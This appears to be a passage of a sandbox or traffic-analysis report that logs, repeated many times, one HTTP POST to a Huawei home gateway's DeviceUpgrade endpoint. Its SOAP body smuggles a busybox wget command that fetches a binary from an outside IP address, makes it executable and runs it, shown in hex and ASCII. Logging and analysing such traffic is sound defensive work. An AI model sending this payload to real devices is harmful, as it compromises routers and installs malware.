61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 139.59.126.134 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 33 39 2e 35 39 2e 31 32 36 2e 31 33 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" 